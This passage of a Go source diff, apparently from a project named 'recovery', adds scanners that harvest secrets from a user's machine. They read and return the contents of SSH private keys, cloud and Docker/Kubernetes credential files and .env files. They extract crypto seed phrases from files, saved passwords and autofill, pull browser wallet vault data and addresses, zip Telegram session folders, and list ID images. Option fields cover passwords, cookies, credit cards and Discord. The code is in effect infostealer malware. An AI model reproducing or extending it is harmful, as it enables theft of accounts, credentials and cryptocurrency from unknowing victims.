if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() {
continue
}
extID := e.Name()
// Skip internal Chromium marker dirs
if strings.HasPrefix(extID, "_") {
continue
}
extIDDir := filepath.Join(extDir, extID)
versionDirs, err := os.ReadDir(extIDDir)
if err != nil {
continue
}
for _, vd := range versionDirs {
if !vd.IsDir() {
continue
}
versionPath := filepath.Join(extIDDir, vd.Name())
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
category := ""
if walletName, ok := knownWalletExtensions[extID]; ok {
category = "wallet"
if name == "" {
name = walletName
}
}
results = append(results, types.ExtensionResult{
ExtID: extID,
Name: name,
Version: version,
Browser: cfg.Name,
Profile: profile.Name,
Path: versionPath,
Category: category,
})
break // first version directory only
}
}
}
}
return results
}
type manifestBasics struct {
Name string `json:"name"`
Version string `json:"version"`
}
func readManifestBasics(path string) (name, version string) {
data, err := os.ReadFile(path)
if err != nil {
return "", ""
}
var m manifestBasics
if err := json.Unmarshal(data, &m); err != nil {
return "", ""
}
if strings.HasPrefix(m.Name, "__MSG_") {
m.Name = ""
}
return m.Name, m.Version
}
@@ -0,0 +1,170 @@
package scanner
import (
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
const (
maxFiles = 500
maxScanDepth = 3
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
)
var targetExtensions = map[string]bool{
// Office documents
".docx": true, ".doc": true, ".docm": true,
".xlsx": true, ".xls": true, ".xlsm": true,
".pptx": true, ".ppt": true, ".pptm": true,
".odt": true, ".ods": true, ".odp": true,
// Plain text / markup
".txt": true, ".rtf": true, ".md": true,
".csv": true, ".tsv": true,
// PDFs
".pdf": true,
// Archives (metadata only — content not fetched automatically)
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
// Credential / key files
".kdbx": true, ".key": true, ".pem": true,
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
// Dotenv — commonly stores API keys and secrets
".env": true,
// Images — IDs, passports, screenshots of credentials, seed phrases
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
".heic": true, ".heif": true,
}
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
type scanLocation struct {
subPath string
label string
}
// ScanFiles walks common user locations and returns matching file metadata.
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
func ScanFiles() []types.FileResult {
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
var results []types.FileResult
seen := make(map[string]bool)
for _, loc := range getScanLocations() {
dir := filepath.Join(home, loc.subPath)
scanDir(dir, loc.label, 0, &results, seen)
if len(results) >= maxFiles {
break
}
}
return results
}
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
if depth > maxScanDepth || len(*results) >= maxFiles {
return
}
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if len(*results) >= maxFiles {
return
}
name := e.Name()
// skip hidden / system files
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
continue
}
fullPath := filepath.Join(dir, name)
if e.IsDir() {
scanDir(fullPath, label, depth+1, results, seen)
continue
}
ext := strings.ToLower(filepath.Ext(name))
if !targetExtensions[ext] {
continue
}
if seen[fullPath] {
continue
}
seen[fullPath] = true
info, err := e.Info()
if err != nil {
continue
}
if info.Size() > maxFileSizeList {
continue
}
var tags []string
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
tags = contentTags
}
*results = append(*results, types.FileResult{
Path: fullPath,
Name: name,
Ext: ext,
Size: info.Size(),
Modified: info.ModTime().Unix(),
Dir: label,
Tags: tags,
})
}
}
// looksLikeSeedLine returns true if every word is 38 lowercase letters.
// BIP39 words are exclusively lowercase az with lengths in that range.
func looksLikeSeedLine(words []string) bool {
if !seedPhraseLengths[len(words)] {
return false
}
for _, w := range words {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
}
return true
}
// FetchFile reads a file and returns its raw bytes.
// Returns an error if the file exceeds MaxFetchSize or does not exist.
func FetchFile(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, fmt.Errorf("file not found")
}
if info.IsDir() {
return nil, fmt.Errorf("path is a directory")
}
if info.Size() > MaxFetchSize {
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
}
return os.ReadFile(path)
}
@@ -0,0 +1,14 @@
//go:build !windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{".local/share", ".local/share"},
{"Dropbox", "Dropbox"},
{"snap", "Snap"},
}
}
@@ -0,0 +1,17 @@
//go:build windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{`OneDrive\Desktop`, "OneDrive/Desktop"},
{`OneDrive\Documents`, "OneDrive/Documents"},
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
}
}
@@ -0,0 +1,313 @@
package scanner
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
const maxKeyFileSize = 512 * 1024 // 512KB
func gcpConfigDir(home string) string {
if runtime.GOOS == "windows" {
return filepath.Join(home, "AppData", "Roaming", "gcloud")
}
return filepath.Join(home, ".config", "gcloud")
}
func ScanKeys() []types.KeyResult {
var results []types.KeyResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
results = append(results, scanSSHKeys(home)...)
results = append(results, scanAWSCredentials(home)...)
results = append(results, scanGCPCredentials(home)...)
results = append(results, scanAzureCredentials(home)...)
results = append(results, scanDockerCredentials(home)...)
results = append(results, scanKubeConfig(home)...)
results = append(results, scanEnvFiles(home)...)
return results
}
func scanSSHKeys(home string) []types.KeyResult {
sshDir := filepath.Join(home, ".ssh")
entries, err := os.ReadDir(sshDir)
if err != nil {
return nil
}
var results []types.KeyResult
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
continue
}
path := filepath.Join(sshDir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if isPrivateKey(content) {
results = append(results, types.KeyResult{
Type: "ssh",
Name: name,
Path: path,
Size: info.Size(),
Content: content,
})
}
}
configPath := filepath.Join(sshDir, "config")
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
results = append(results, types.KeyResult{
Type: "ssh_config",
Name: "config",
Path: configPath,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
func isPrivateKey(content string) bool {
markers := []string{
"-----BEGIN OPENSSH PRIVATE KEY-----",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
"PuTTY-User-Key-File-",
}
for _, m := range markers {
if strings.Contains(content, m) {
return true
}
}
return false
}
func scanAWSCredentials(home string) []types.KeyResult {
var results []types.KeyResult
awsDir := filepath.Join(home, ".aws")
for _, name := range []string{"credentials", "config"} {
path := filepath.Join(awsDir, name)
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "aws",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanGCPCredentials(home string) []types.KeyResult {
var results []types.KeyResult
gcpDir := gcpConfigDir(home)
candidates := []string{
filepath.Join(gcpDir, "application_default_credentials.json"),
filepath.Join(gcpDir, "credentials.db"),
filepath.Join(gcpDir, "properties"),
}
for _, dir := range []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
} {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
candidates = append(candidates, filepath.Join(dir, name))
}
}
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
results = append(results, types.KeyResult{
Type: "gcp",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: content,
})
}
}
return results
}
func scanAzureCredentials(home string) []types.KeyResult {
var results []types.KeyResult
azureDir := filepath.Join(home, ".azure")
candidates := []string{
filepath.Join(azureDir, "accessTokens.json"),
filepath.Join(azureDir, "azureProfile.json"),
filepath.Join(azureDir, "msal_token_cache.json"),
filepath.Join(azureDir, "service_principal_entries.json"),
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "azure",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanDockerCredentials(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".docker", "config.json")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
if strings.Contains(string(data), "auths") {
results = append(results, types.KeyResult{
Type: "docker",
Name: "config.json",
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanKubeConfig(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".kube", "config")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
results = append(results, types.KeyResult{
Type: "kubernetes",
Name: "config",
Path: path,
Size: info.Size(),
Content: string(data),
})
return results
}
func scanEnvFiles(home string) []types.KeyResult {
var results []types.KeyResult
searchDirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range searchDirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name != ".env" && !strings.HasPrefix(name, ".env.") {
continue
}
path := filepath.Join(dir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "env",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
@@ -0,0 +1,7 @@
package scanner
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[scanner] "+format, args...)
}
@@ -0,0 +1,274 @@
package scanner
import (
"os"
"regexp"
"strings"
"recovery/recovery/types"
)
// BIP39-valid word counts
var validSeedLengths = map[int]bool{
12: true, 15: true, 18: true, 21: true, 24: true,
}
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
var seedScanFileExts = map[string]bool{
".txt": true, ".md": true, ".csv": true, ".tsv": true,
".log": true, ".rtf": true, ".json": true, ".xml": true,
".env": true, ".cfg": true, ".conf": true, ".ini": true,
".bak": true, ".old": true, ".tmp": true, ".note": true,
".doc": true, ".nfo": true, ".asc": true, ".key": true,
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
}
// contentScanExts are the text formats read during the file listing scan to
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
var contentScanExts = seedScanFileExts
// privateKeyRe matches PEM private-key header lines. The optional algorithm
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
// contentFileTags reads a small text file once and returns the security tags
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
// contains a PEM private-key header. Returns nil when the file is not a
// recognized text format or is too large to scan.
func contentFileTags(path, ext string, size int64) []string {
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var tags []string
content := strings.ToLower(string(data))
if looksLikeSeedLine(strings.Fields(content)) {
tags = append(tags, "seed")
} else {
for _, line := range strings.Split(content, "\n") {
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
tags = append(tags, "seed")
break
}
}
}
// PEM headers are case-sensitive, so match against the raw bytes.
if privateKeyRe.Match(data) {
tags = append(tags, "key")
}
return tags
}
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
// ScanSeeds searches collected data for BIP39 seed phrases.
// Checks file contents, password values, and autofill values.
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
seen := make(map[string]bool)
var results []types.SeedResult
// Scan files
for _, f := range files {
if f.Size > seedScanMaxFileSize || f.Size == 0 {
continue
}
if !seedScanFileExts[f.Ext] {
continue
}
data, err := os.ReadFile(f.Path)
if err != nil {
continue
}
for _, phrase := range extractSeedPhrases(string(data)) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "file",
Path: f.Path,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan passwords
for _, p := range passwords {
for _, phrase := range extractSeedPhrases(p.Password) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
for _, phrase := range extractSeedPhrases(p.Username) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan autofill values
for _, a := range autofill {
for _, phrase := range extractSeedPhrases(a.Value) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "autofill",
Path: a.Name,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
return results
}
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
func extractSeedPhrases(content string) []string {
if len(content) == 0 {
return nil
}
content = strings.ToLower(content)
var found []string
// Strategy 1: full content as one phrase (file contains only the seed)
if phrase := tryExtractPhrase(content); phrase != "" {
found = append(found, phrase)
return found
}
// Strategy 2: line-by-line (seed on one line)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
if phrase := tryExtractPhrase(line); phrase != "" {
found = append(found, phrase)
}
}
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
if phrase := tryNumberedList(content); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
// Strategy 4: comma-separated words
if strings.Contains(content, ",") {
normalized := strings.ReplaceAll(content, ",", " ")
if phrase := tryExtractPhrase(normalized); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
}
return found
}
// tryExtractPhrase checks if text contains a valid seed phrase
func tryExtractPhrase(text string) string {
words := strings.Fields(text)
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
// Try sliding window for phrases embedded in longer text
for _, count := range []int{24, 21, 18, 15, 12} {
if len(words) < count {
continue
}
for i := 0; i <= len(words)-count; i++ {
window := words[i : i+count]
if isValidSeedPhrase(window) {
return strings.Join(window, " ")
}
}
}
return ""
}
// tryNumberedList extracts words from numbered list format:
// "1. abandon\n2. ability\n3. able\n..."
func tryNumberedList(content string) string {
lines := strings.Split(content, "\n")
var words []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
cleaned := numberedLineRe.ReplaceAllString(line, "")
cleaned = strings.TrimSpace(cleaned)
if cleaned == "" {
continue
}
// Each numbered line should have exactly one word
lineWords := strings.Fields(cleaned)
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
words = append(words, lineWords[0])
}
}
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
return ""
}
func isValidSeedPhrase(words []string) bool {
if !validSeedLengths[len(words)] {
return false
}
for _, w := range words {
if !isBIP39Word(w) {
return false
}
}
return true
}
// isBIP39Word checks if a word matches BIP39 characteristics:
// lowercase a-z only, 3-8 characters.
func isBIP39Word(w string) bool {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
return true
}
func containsPhrase(phrases []string, phrase string) bool {
for _, p := range phrases {
if p == phrase {
return true
}
}
return false
}
@@ -0,0 +1,234 @@
package scanner
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type telegramPathConfig struct {
name string
subPath string
base string
}
var tdataSessionFiles = map[string]bool{
"key_datas": true,
"usertag": true,
"settings0": true,
"settings1": true,
"configs": true,
}
func isTdataSessionDir(name string) bool {
if len(name) != 16 {
return false
}
for _, c := range name {
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
return false
}
}
return true
}
func ScanTelegram() []types.TelegramResult {
var results []types.TelegramResult
for _, tp := range getTelegramPaths() {
base := resolveTelegramBase(tp.base)
if base == "" {
continue
}
tdataDir := filepath.Join(base, tp.subPath)
if _, err := os.Stat(tdataDir); err != nil {
continue
}
accounts := findTelegramAccounts(tdataDir)
for _, acc := range accounts {
results = append(results, types.TelegramResult{
Account: acc.account,
Path: acc.path,
Files: acc.files,
Size: acc.size,
})
}
}
return results
}
type telegramAccount struct {
account string
path string
files int
size int64
}
func findTelegramAccounts(tdataDir string) []telegramAccount {
var accounts []telegramAccount
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil
}
hasKeyData := false
for _, e := range entries {
if !e.IsDir() && e.Name() == "key_datas" {
hasKeyData = true
break
}
}
if hasKeyData {
files, size := countTdataFiles(tdataDir)
if files > 0 {
accounts = append(accounts, telegramAccount{
account: "Main",
path: tdataDir,
files: files,
size: size,
})
}
}
for _, e := range entries {
if !e.IsDir() {
continue
}
name := e.Name()
if !isTdataSessionDir(name) {
continue
}
sessionDir := filepath.Join(tdataDir, name)
sessionEntries, err := os.ReadDir(sessionDir)
if err != nil {
continue
}
hasData := false
for _, se := range sessionEntries {
if !se.IsDir() {
hasData = true
break
}
}
if hasData {
files, size := countTdataSessionFiles(sessionDir)
accounts = append(accounts, telegramAccount{
account: name,
path: sessionDir,
files: files,
size: size,
})
}
}
return accounts
}
func countTdataFiles(tdataDir string) (int, int64) {
var count int
var totalSize int64
entries, err := os.ReadDir(tdataDir)
if err != nil {
return 0, 0
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
info, err := e.Info()
if err != nil {
continue
}
count++
totalSize += info.Size()
}
}
return count, totalSize
}
func countTdataSessionFiles(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
func ZipTelegram(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, err
}
if !info.IsDir() {
return nil, os.ErrNotExist
}
// If this is a session subfolder (hex name), just zip its contents directly
if isTdataSessionDir(filepath.Base(path)) {
return ziputil.ZipDirectory(path)
}
// Otherwise this is the tdata root — zip key files + session subdirs
return zipTdataRoot(path)
}
func zipTdataRoot(tdataDir string) ([]byte, error) {
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil, err
}
var filesToZip []string
for _, e := range entries {
name := e.Name()
if e.IsDir() {
if isTdataSessionDir(name) {
sessionDir := filepath.Join(tdataDir, name)
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
if info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, path)
}
return nil
})
}
} else {
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
info, _ := e.Info()
if info != nil && info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
}
}
}
}
if len(filesToZip) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(filesToZip, tdataDir)
}
@@ -0,0 +1,51 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getTelegramPaths() []telegramPathConfig {
if runtime.GOOS == "darwin" {
return []telegramPathConfig{
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
{"64Gram", "64Gram Desktop/tdata", "appdata"},
}
}
// Linux
return []telegramPathConfig{
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
{"64Gram", "64Gram Desktop/tdata", "home_data"},
}
}
func resolveTelegramBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home":
return home
case "home_data":
xdg := os.Getenv("XDG_DATA_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".local", "share")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "localappdata":
return filepath.Join(home, ".local", "share")
case "userprofile":
return home
}
return ""
}
@@ -0,0 +1,27 @@
//go:build windows
package scanner
import "os"
func getTelegramPaths() []telegramPathConfig {
return []telegramPathConfig{
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
}
}
func resolveTelegramBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
}
return ""
}
@@ -0,0 +1,179 @@
package scanner
import (
"bufio"
"fmt"
"os"
"path/filepath"
"regexp"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
type walletConfig struct {
Name string
SubPath string
Base string // "appdata", "localappdata", "userprofile", "home"
}
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
const maxAddresses = 50
func ScanWallets() []types.WalletResult {
var results []types.WalletResult
results = append(results, scanDesktopWallets()...)
results = append(results, scanBrowserWalletData()...)
return results
}
func scanDesktopWallets() []types.WalletResult {
var results []types.WalletResult
for _, w := range getDesktopWalletPaths() {
base := resolveWalletBase(w.Base)
if base == "" {
continue
}
dir := filepath.Join(base, w.SubPath)
info, err := os.Stat(dir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(dir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: w.Name,
Type: "desktop",
Path: dir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(dir)
results = append(results, wr)
}
return results
}
func scanBrowserWalletData() []types.WalletResult {
var results []types.WalletResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
for extID, walletName := range knownWalletExtensions {
extDataDir := filepath.Join(lesDir, extID)
info, err := os.Stat(extDataDir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(extDataDir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
Type: "extension",
Path: extDataDir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(extDataDir)
wr.VaultData = extractVaultData(extDataDir)
results = append(results, wr)
}
}
}
return results
}
func extractAddressesFromDir(dir string) []string {
seen := make(map[string]bool)
var addrs []string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
scanner := bufio.NewScanner(f)
scanner.Buffer(make([]byte, 256*1024), 256*1024)
for scanner.Scan() {
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
for _, m := range matches {
addr := strings.ToLower(m)
if !seen[addr] {
seen[addr] = true
addrs = append(addrs, m)
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
}
}
}
return nil
})
return addrs
}
func extractVaultData(dir string) string {
var vault string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || vault != "" {
return nil
}
ext := strings.ToLower(filepath.Ext(path))
if ext != ".ldb" && ext != ".log" {
return nil
}
if info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
match := vaultRe.Find(data)
if match != nil {
vault = string(match)
return filepath.SkipAll
}
return nil
})
return vault
}
func countDirContents(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
@@ -0,0 +1,60 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getDesktopWalletPaths() []walletConfig {
if runtime.GOOS == "darwin" {
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
{"Exodus", "Exodus/exodus.wallet", "appdata"},
{"Electrum", "Electrum/wallets", "home_dot"},
{"Ethereum", "Ethereum/keystore", "home_dot"},
{"Coinomi", "Coinomi/wallets", "appdata"},
}
}
// Linux
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "config"},
{"Exodus", "Exodus/exodus.wallet", "config"},
{"Electrum", ".electrum/wallets", "home"},
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
{"Ethereum", ".ethereum/keystore", "home"},
{"Monero", "Monero/wallets", "home"},
{"Armory", ".armory", "home"},
{"Bytecoin", ".bytecoin", "home"},
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
}
}
func resolveWalletBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home", "userprofile":
return home
case "home_dot":
return filepath.Join(home, ".")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "config":
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
case "localappdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".local", "share")
}
return ""
}
@@ -0,0 +1,37 @@
//go:build windows
package scanner
import "os"
func getDesktopWalletPaths() []walletConfig {
return []walletConfig{
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
{"Electrum", `Electrum\wallets`, "appdata"},
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
{"Zcash", `Zcash`, "appdata"},
{"Armory", `Armory`, "appdata"},
{"Bytecoin", `bytecoin`, "appdata"},
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
{"Ethereum", `Ethereum\keystore`, "appdata"},
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
{"Monero", `Documents\Monero\wallets`, "userprofile"},
}
}
func resolveWalletBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
case "home":
home, _ := os.UserHomeDir()
return home
}
return ""
}
@@ -0,0 +1,275 @@
package types
type BrowserConfig struct {
Name string
UserDataPath string
ProcessName string
UseAppData bool
IsFirefox bool
FlatProfile bool
}
type ProfileInfo struct {
Name string
Path string
}
type CollectOptions struct {
Browsers bool `json:"browsers"`
Passwords bool `json:"passwords"`
Cookies bool `json:"cookies"`
Autofill bool `json:"autofill"`
History bool `json:"history"`
Bookmarks bool `json:"bookmarks"`
CreditCards bool `json:"creditCards"`
Discord bool `json:"discord"`
Files bool `json:"files"`
Wallets bool `json:"wallets"`
